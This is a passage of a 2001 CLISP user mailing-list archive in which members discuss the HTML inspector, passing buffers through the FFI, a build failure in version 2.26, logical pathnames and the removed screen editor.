(MST) From: Dennis To: In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] inspector with html browser Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 15 May 2001, Sam Steingold wrote: > the portable way to do GUI is to interface with an html browser. > CLISP inspector works that way. Is there some documentation on how to use the CLISP inspector? -- --- Dennis Sacks dennis@illusions.com From frodef@acm.org Tue May 29 17:08:38 2001 Received: from dslab7.cs.uit.no ([129.242.16.27]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.22 #1 (Debian)) id 154tXQ-0007Xs-00 for ; Tue, 29 May 2001 17:08:36 -0700 Received: (from frodef@localhost) by dslab7.cs.uit.no (8.11.3/8.11.0) id f4U08Wb46625; Wed, 30 May 2001 02:08:32 +0200 (CEST) (envelope-from frodef@acm.org) X-Authentication-Warning: dslab7.cs.uit.no: frodef set sender to frodef@acm.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> From: Frode Vatvedt Fjeld Date: 30 May 2001 02:08:32 +0200 In-Reply-To: Sam Steingold's message of "29 May 2001 16:42:41 -0400" Message-ID: <2h8zjfaebj.fsf@dslab7.cs.uit.no> Lines: 18 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > yep - FFI is your friend. look at modules/bindings/linuxlibc6 in > the CLISP source tree. Ok, now what is the intended way to pass buffers between lisp and C? For example, the libc read function is defined like this (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t)) (:return-type ssize_t) (:name "full_read")) What sort of lisp object can be used as a BUF here? I tried using an array, but that didn't work..? -- Frode Vatvedt Fjeld From eric@ericdegroot.com Tue May 29 22:37:06 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154yfJ-0005rN-00 for ; Tue, 29 May 2001 22:37:05 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id WAA03487 for ; Tue, 29 May 2001 22:36:58 -0700 (PDT) Message-ID: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> From: "Eric de Groot" To: Date: Tue, 29 May 2001 22:38:41 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] compiling 2.26 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hey- Me again:P Anyways, I still havent gotten that ffi lisp for libmysqlclient to compile, so I'm trying the unstable version 2.26 to see if this was possibly a bug that may have been addressed. Anyways, for 2.26, make is failing at: ./lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile UTF-8 -norc -q -c screen.lisp Compiling file /root/clisp-2.26/src/screen.lisp ... *** - There is no package with name "SCREEN" make: *** [screen.fas] Error 1 In screen.lisp the (use-package ... "SCREEN") isent find SCREEN? Anyone know what the problem might be? 2.25 compiled straight through no probs. Thanks! CLISP needs mysql! -Eric de Groot mailto:eric@ericdegroot.com From sds@gnu.org Wed May 30 10:28:28 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1559lj-000280-00 for ; Wed, 30 May 2001 10:28:28 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA21263; Wed, 30 May 2001 13:28:22 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] FFI: "Lisp stack overflow. RESET" References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> <00c901c0e7d3$dd7df8b0$4381fb18@CX417245D> <013c01c0e7f6$e518c230$4381fb18@CX417245D> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <013c01c0e7f6$e518c230$4381fb18@CX417245D> Date: 30 May 2001 13:24:55 -0400 Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <013c01c0e7f6$e518c230$4381fb18@CX417245D> > * On the subject of "Re: [clisp-list] FFI: "Lisp stack overflow. RESET"" > * Sent on Mon, 28 May 2001 21:21:55 -0700 > * Honorable "Eric de Groot" writes: > > I still don't get this. I think I figured out the source of the problem > though: > > (def-c-struct st_stuff > (next (c-ptr st_stuff)) > ...) > > (def-c-struct st_mystuff > (stuff (c-ptr st_stuff)) > ...) > > (def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca)) > (:return-type (c-ptr st_mystuff))) > > If I remove the (next (c-ptr st_stuff)) I get no stack overflow. st_stuff > is a linked list, the next pointer is screwing me up. It's only when I use > st_mystuff in the def-c-call-out, if change the types in the def-c-call-out > to something else it also compiles fine. I believe I fixed this bug, You will have to get the sources from the CVS. Thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From sds@gnu.org Wed May 30 11:05:40 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155ALg-0007Sh-00 for ; Wed, 30 May 2001 11:05:37 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA08222; Wed, 30 May 2001 10:13:07 -0400 (EDT) X-Envelope-To: To: Dennis Cc: Subject: Re: [clisp-list] inspector with html browser References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 30 May 2001 10:09:45 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] inspector with html browser" > * Sent on Tue, 29 May 2001 16:29:31 -0700 (MST) > * Honorable Dennis writes: > > On 15 May 2001, Sam Steingold wrote: > > > the portable way to do GUI is to interface with an html browser. > > CLISP inspector works that way. > > Is there some documentation on how to use the CLISP inspector? see the impnotes for all the documentation we have. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Trespassers will be shot. Survivors will be SHOT AGAIN! From sds@gnu.org Wed May 30 11:05:45 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155ALl-0007Sh-00 for ; Wed, 30 May 2001 11:05:42 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA09634; Wed, 30 May 2001 10:18:58 -0400 (EDT) X-Envelope-To: To: Frode Vatvedt Fjeld Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2h8zjfaebj.fsf@dslab7.cs.uit.no> Date: 30 May 2001 10:15:42 -0400 Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <2h8zjfaebj.fsf@dslab7.cs.uit.no> > * On the subject of "Re: [clisp-list] UDP network streams" > * Sent on 30 May 2001 02:08:32 +0200 > * Honorable Frode Vatvedt Fjeld writes: > > Sam Steingold writes: > > > yep - FFI is your friend. look at modules/bindings/linuxlibc6 in > > the CLISP source tree. > > Ok, now what is the intended way to pass buffers between lisp and C? > > For example, the libc read function is defined like this > > (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t)) > (:return-type ssize_t) > (:name "full_read")) > > What sort of lisp object can be used as a BUF here? I tried using an > array, but that didn't work..? I would think (array (unsigned-byte 8) nbytes) please look at the modules/bindings/linuxlibc6. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Bus error -- please leave by the rear door. From sds@gnu.org Wed May 30 11:05:56 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155ALx-0007Sh-00 for ; Wed, 30 May 2001 11:05:54 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA10344; Wed, 30 May 2001 10:22:21 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] compiling 2.26 References: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> Date: 30 May 2001 10:19:04 -0400 Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <008801c0e8ca$cbf060e0$4381fb18@CX417245D> > * On the subject of "[clisp-list] compiling 2.26" > * Sent on Tue, 29 May 2001 22:38:41 -0700 > * Honorable "Eric de Groot" writes: > > libmysqlclient to compile, so I'm trying the unstable version 2.26 to what makes you think it is unstable?! > see if this was possibly a bug that may have been addressed. Anyways, > for 2.26, make is failing at: > > ../lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile > UTF-8 -norc -q -c screen.lisp > > Compiling file /root/clisp-2.26/src/screen.lisp ... > *** - There is no package with name "SCREEN" > make: *** [screen.fas] Error 1 > > In screen.lisp the (use-package ... "SCREEN") isent find SCREEN? Anyone > know what the problem might be? 2.25 compiled straight through no probs. where did you get your CLISP sources? what is your system? (uname -a) why are you building CLISP as root?! what command did you use to compile CLISP? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The early bird may get the worm, but the second mouse gets the cheese. From sds@gnu.org Wed May 30 10:51:55 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155A8P-0002Tq-00 for ; Wed, 30 May 2001 10:51:53 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA26520; Wed, 30 May 2001 13:51:46 -0400 (EDT) X-Envelope-To: To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Pathnames... References: <20010529153914.A1255@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010529153914.A1255@cam.ac.uk> Date: 30 May 2001 13:48:19 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010529153914.A1255@cam.ac.uk> > * On the subject of "[clisp-list] Pathnames..." > * Sent on Tue, 29 May 2001 15:39:14 +0100 > * Honorable Christophe Rhodes writes: > > However, clisp -ansi as of this morning gives: if you live on the bleeding edge, you should subscribe to clisp-devel. > [23]> (compile-file-pathname #p"cl-library:;metering;metering.lisp") > > *** - PARSE-NAMESTRING: argument should be a string, symbol, file > stream or pathname, not # I do not observe this. Moreover, #p"cl-library:;metering;metering.lisp" is not a logical pathname. (compile-file-pathname (logical-pathname "clocc:clocc.lisp")) is buggy, and, hopefully, will be fixed shortly. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Never trust a man who can count to 1024 on his fingers. From peter.wood@worldonline.dk Wed May 30 11:18:10 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1559U7-0000zK-00 for ; Wed, 30 May 2001 10:10:15 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 9D0FCB4D8 for ; Wed, 30 May 2001 10:00:58 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f4U7uuO00213 for clisp-list@lists.sourceforge.net; Wed, 30 May 2001 09:56:56 +0200 Date: Wed, 30 May 2001 09:56:56 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] inspector with html browser Message-ID: <20010530095656.A181@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from dennis@illusions.com on Tue, May 29, 2001 at 04:29:31PM -0700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, May 29, 2001 at 04:29:31PM -0700, Dennis wrote: > On 15 May 2001, Sam Steingold wrote: > > > the portable way to do GUI is to interface with an html browser. > > CLISP inspector works that way. > > Is there some documentation on how to use the CLISP inspector? Hi I can't remember where I read about it: (inspect 'defun :frontend :http :browser :lynx) Will interface the lynx browser with the inspect "page" for defun. "inspect" takes two keywords :frontend - which can be :http or :tty, (the default) and :browser which specifies which browser to use. :browser must be in the list of browsers which is kept in the global variable *browsers*. If you want to use some other browser (not on the list) then you can push it onto *browsers*. Usually, if you can't find the documentation on something, it's helpful to check the source in $clisp-root/src/*.lisp. So even if you're using one of the binaries, you should have the source handy. Regards, Peter From sds@gnu.org Wed May 30 12:29:27 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155Beo-0003oj-00 for ; Wed, 30 May 2001 12:29:27 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA19039; Wed, 30 May 2001 15:29:23 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] screen-editor? References: <20010528082917.B254@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010528082917.B254@localhost.localdomain> Date: 30 May 2001 15:25:51 -0400 Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010528082917.B254@localhost.localdomain> > * On the subject of "[clisp-list] screen-editor?" > * Sent on Mon, 28 May 2001 08:29:17 +0200 > * Honorable Peter Wood writes: > > The manual page mentions a built-in screen editor (under the > ENVIRONMENT -> TERM section). There are also references to it on the > web. I assume it's gone, since I can't find it, nor anything about it > in impnotes. it has been gone for about 5 years. Bruno said: The editor was removed because it was a too primitive remake of terminal-mode emacs. The two most annoying features were that tabs didn't get displayed correctly, and it didn't get notified when the xterm window was resized. If you want CL-Emacs, you would probably be better off making CLISP interface with GNU Emacs via FFI. No, I have no idea how to do this. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on We are born naked, wet, and hungry. Then things get worse. From eric@ericdegroot.com Wed May 30 14:45:21 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155DmJ-0005MJ-00 for ; Wed, 30 May 2001 14:45:19 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id OAA22670 for ; Wed, 30 May 2001 14:45:16 -0700 (PDT) Message-ID: <004d01c0e952$0fe48b00$4381fb18@CX417245D> From: "Eric de Groot" To: References: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> Subject: Re: [clisp-list] compiling 2.26 Date: Wed, 30 May 2001 14:47:01 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- Thanks for the replies. I don't personally think it is unstable, but since the clisp home lists the last stable release 2.25 and ftp://clisp.sourceforge.net/pub/clisp/2.26/ where I got it from lists 2.26 as a pretest in the readme. I'm running Debian 2.2, the kernel is 2.2.19pre17. Sorry, I keep forgetting to include this stuff. What does it matter if I build as root? make install has to be done as root, and once that's completed the build files can be deleted. Obviously I'm no systems admin expert so please enlighten me on that one;) To build, in the unpacked clisp-2.26 dir, I first ran the config script ./configure, then I just copy and pasted the suggested commands at the end of configure. Worked with 2.25. Thanks for all your help. Btw, in another message from you said you may have fixed the problem I was having. Would one of the nightly snapshots cover this? Thanks again! -Eric de Groot mailto:eric@ericdegroot.com ----- Original Message ----- From: "Sam Steingold" To: "Eric de Groot" Cc: Sent: Wednesday, May 30, 2001 7:19 AM Subject: Re: [clisp-list] compiling 2.26 > > * In message <008801c0e8ca$cbf060e0$4381fb18@CX417245D> > > * On the subject of "[clisp-list] compiling 2.26" > > * Sent on Tue, 29 May 2001 22:38:41 -0700 > > * Honorable "Eric de Groot" writes: > > > > libmysqlclient to compile, so I'm trying the unstable version 2.26 to > > what makes you think it is unstable?! > > > see if this was possibly a bug that may have been addressed. Anyways, > > for 2.26, make is failing at: > > > > ../lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile > > UTF-8 -norc -q -c screen.lisp > > > > Compiling file /root/clisp-2.26/src/screen.lisp ... > > *** - There is no package with name "SCREEN" > > make: *** [screen.fas] Error 1 > > > > In screen.lisp the (use-package ... "SCREEN") isent find SCREEN? Anyone > > know what the problem might be? 2.25 compiled straight through no probs. > > where did you get your CLISP sources? > what is your system? (uname -a) > why are you building CLISP as root?! > what command did you use to compile CLISP? > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > Read what the Arab leaders say to their people on > The early bird may get the worm, but the second mouse gets the cheese. > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Wed May 30 15:09:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155E9N-00010D-00 for ; Wed, 30 May 2001 15:09:10 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA20867; Wed, 30 May 2001 18:09:03 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] compiling 2.26 References: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> <004d01c0e952$0fe48b00$4381fb18@CX417245D> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <004d01c0e952$0fe48b00$4381fb18@CX417245D> Date: 30 May 2001 18:06:26 -0400 Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <004d01c0e952$0fe48b00$4381fb18@CX417245D> > * On the subject of "Re: [clisp-list] compiling 2.26" > * Sent on Wed, 30 May 2001 14:47:01 -0700 > * Honorable "Eric de Groot" writes: > > Thanks for the replies. I don't personally think it is unstable, > but since the clisp home lists the last stable release 2.25 and > ftp://clisp.sourceforge.net/pub/clisp/2.26/ where I got it from lists > 2.26 as a pretest in the readme. fixed. > does it matter if I build as root? you should do as root only those things which cannot be done as non-root. building is not one of those tasks. > Btw, in another message from you said you may have fixed the problem I > was having. Would one of the nightly snapshots cover this? yes - please get the CVS tree (see the homepage for instructions). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on As a computer, I find your faith in technology amusing. From eric@ericdegroot.com Wed May 30 17:08:57 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 155G14-0006ez-00 for ; Wed, 30 May 2001 17:08:42 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id RAA15062; Wed, 30 May 2001 17:08:10 -0700 (PDT) Message-ID: <00cc01c0e966$06370920$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <008801c0e8ca$cbf060e0$4381fb18@CX417245D> <004d01c0e952$0fe48b00$4381fb18@CX417245D> Subject: Re: [clisp-list] compiling 2.26 Date: Wed, 30 May 2001 17:09:55 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- I tried the instructions for anonymous cvs access at ftp://clisp.cons.org/pub/lisp/clisp/snapshots/README but when I login, it asks me for a password. It doesent except anything. is anoncvs.gnu.org still the main cvs repository? Thanks. -Eric de Groot mailto:eric@ericdegroot.com ----- Original Message ----- From: "Sam Steingold" To: "Eric de Groot" Cc: Sent: Wednesday, May 30, 2001 3:06 PM Subject: Re: [clisp-list] compiling 2.26 > > * In message <004d01c0e952$0fe48b00$4381fb18@CX417245D> > > * On the subject of "Re: [clisp-list] compiling 2.26" > > * Sent on Wed, 30 May 2001 14:47:01 -0700 > > * Honorable "Eric de Groot" writes: > > > > Thanks for the replies. I don't personally think it is unstable, > > but since the clisp home lists the last stable release 2.25 and > > ftp://clisp.sourceforge.net/pub/clisp/2.26/ where I got it from lists > > 2.26 as a pretest in the readme. > > fixed. > > > does it matter if I build as root? > > you should do as root only those things which cannot be done as > non-root. building is not one of those tasks. > > > Btw, in another message from you said you may have fixed the problem I > > was having. Would one of the nightly snapshots cover this? > > yes - please get the CVS tree (see the homepage for instructions). > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > Read what the Arab leaders say to their people on > As a computer, I find your faith in technology amusing. > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From frodef@acm.org Wed May 30 17:38:50 2001 Received: from dslab7.cs.uit.no ([129.242.16.27]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.22 #1 (Debian)) id 155GTp-00033D-00 for ; Wed, 30 May 2001 17:38:25 -0700 Received: (from frodef@localhost) by dslab7.cs.uit.no (8.11.3/8.11.0) id f4V0c5d48653; Thu, 31 May 2001 02:38:05 +0200 (CEST) (envelope-from frodef@acm.org) X-Authentication-Warning: dslab7.cs.uit.no: frodef set sender to frodef@acm.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> From: Frode Vatvedt Fjeld Date: 31 May 2001 02:36:45 +0200 In-Reply-To: Sam Steingold's message of "30 May 2001 10:15:42 -0400" Message-ID: <2hd78q8ici.fsf@dslab7.cs.uit.no> Lines: 36 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > > * Honorable Frode Vatvedt Fjeld writes: > > > > For example, the libc read function is defined like this > > > > (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t)) > > (:return-type ssize_t) > > (:name "full_read")) > > > > What sort of lisp object can be used as a BUF here? I tried using an > > array, but that didn't work..? Sam Steingold writes: > I would think (array (unsigned-byte 8) nbytes) This is what happens: [1]> (freebsd::read 1 (make-array 200 :element-type '(unsigned-byte 8)) 200) *** - #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) cannot be converted to the foreign type FFI:C-POINTER 1. Break [2]> > please look at the modules/bindings/linuxlibc6. Well, that is precisely where the definition above comes from. There doesn't seem to be 